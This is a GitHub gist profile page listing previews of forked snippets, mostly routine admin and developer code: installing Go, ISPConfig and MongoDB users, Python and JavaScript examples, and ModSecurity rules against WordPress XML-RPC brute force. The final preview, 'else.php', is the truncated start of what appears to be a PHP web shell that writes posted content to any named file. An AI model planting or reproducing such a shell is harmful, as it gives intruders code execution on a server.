Skip to content

Instantly share code, notes, and snippets.

View mostafahussein's full-sized avatar
💀
K3rn3l Cr4sh3r

(╯°□°)╯︵ uᴉǝssnH ɐɟɐʇsoW mostafahussein

💀
K3rn3l Cr4sh3r
View GitHub Profile
@mostafahussein
mostafahussein / go-install.md
Created May 14, 2016 11:49 — forked from diegopacheco/go-install.md
How to Install GO Lang on CentOS / Amazon Linux?

How to Install GO Lang on CentOS / Amazon Linux?

sudo wget https://storage.googleapis.com/golang/go1.4.2.linux-amd64.tar.gz
tar -xzf go1.4.2.linux-amd64.tar.gz 
export GOROOT=PATH_WHERE_YOU_EXTRACT_GO
export PATH=$PATH:$GOROOT/bin 
export GOBIN=$GOROOT/bin 
mkdir ~/golang/ 
export GOPATH=~/golang/ 
@mostafahussein
mostafahussein / gist:b9688a433e8149ec1cb6bf90f82e5f80
Created May 8, 2016 09:14 — forked from sirleech/gist:2660189
Python Read JSON from HTTP Request of URL
# Load Json into a Python object
import urllib2
import json
req = urllib2.Request("http://localhost:81/sensors/temperature.json")
opener = urllib2.build_opener()
f = opener.open(req)
json = json.loads(f.read())
print json
print json['unit']
@mostafahussein
mostafahussein / gist:aa6e2968d8ff86ea77c7
Created March 8, 2016 13:52 — forked from callmephilip/gist:3443827
[Python Fabric] passing arguments to a task
def new_user(username, admin='no', comment="No comment provided"):
log_action("New User (%s): %s" % (username, comment))
pass
$ fab new_user:myusername
$ fab new_user:username=myusername
$ fab new_user:myusername,yes
$ fab new_user:myusername,admin=yes
$ fab new_user:myusername,admin=no,comment='Gary\, new developer (starts Monday)'
rpm -Uvh http://www.city-fan.org/ftp/contrib/yum-repo/city-fan.org-release-1-12.rhel6.noarch.rpm
@mostafahussein
mostafahussein / xmlrpc-distributed-brute-defense.conf
Created February 11, 2016 16:55 — forked from alzabo/xmlrpc-distributed-brute-defense.conf
WP/xmlrpc brute force ModSecurity rules
# These rules are designed to be effective versus /distributed/ brute force
# attacks. While they will function just as well against attacks which are
# /not distributed/ they will deny access to all XML-RPC method calls
# namespaced with the prefix "wp."
#
# An IP-based version of these rules may be more appropriate for sites which
# attacked from just a few distinct IP addresses.
#
# See http://alzabo.io/modsecurity/2014/09/15/wordpress-xml-rpc-brute-force.html
# for additional information
@mostafahussein
mostafahussein / testChainedPromise.js
Created January 7, 2016 18:34 — forked from calendee/testChainedPromise.js
A simple example of chained promises using Q promise library.
var Q = require("q");
var slowFunction1 = function( myObject ) {
console.log("\nRunning slowFunction1");
console.log(myObject);
var deferred = Q.defer();
setTimeout( function() {
@mostafahussein
mostafahussein / nginx-ispconfig3-ubuntu.sh
Created December 30, 2015 13:13
Install Nginx ISPConfig3 Ubuntu 14.04 64Bits
#!/bin/bash
## Install ISPConfig3 on Ubuntu 14.04 64Bits
## Author: Nilton OS blog.linuxpro.com.br
## http://blog.linuxpro.com.br/posts/instalando-ispconfig3-no-ubuntu-1404.html
## http://www.howtoforge.com/the-perfect-server-ubuntu-14.04-nginx-bind-mysql-php-postfix-dovecot-and-ispconfig3-p2
dpkg-reconfigure dash
service apparmor stop
@mostafahussein
mostafahussein / custom_module.py
Created December 29, 2015 16:52 — forked from UtahDave/custom_module.py
Fire and Forget Salt module
from subprocess import Popen
def start_server():
cmd_str = 'sleep 60 && echo "hello!" >> /tmp/test.txt'
proc = Popen([cmd_str], shell=True,
stdin=None, stdout=None, stderr=None, close_fds=True)
return cmd_str
@mostafahussein
mostafahussein / gist:3211b8b3166667f3cbd8
Created December 24, 2015 06:22 — forked from tamoyal/gist:10441108
Create super user and database user in Mongo 2.6
# Create your superuser
$ mongo
> use admin
> db.createUser({user:"someadmin",pwd:"secret", roles:[{role:"root",db:"admin"}]})
> exit
# Alias for convenience (optional and at your own risk)
$ echo 'alias mongo="mongo --port 27017 -u someadmin -p secret --authenticationDatabase admin"' >> ~/.bash_profile
$ source ~/.bash_profile
@mostafahussein
mostafahussein / else.php
Created December 19, 2015 06:40 — forked from smottt/else.php
Vulnerability scan file
<?php
$content = stripslashes($_POST['content']);
$cfile = $_POST['cfile'];
$ufile = $_POST['ufile'];
echo '<b><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">';
echo '<textarea name=content style="width:585px;height:200px">'.$content.'</textarea><br>';
echo '<input type="text" name="cfile" size="10" value="newfile.php">';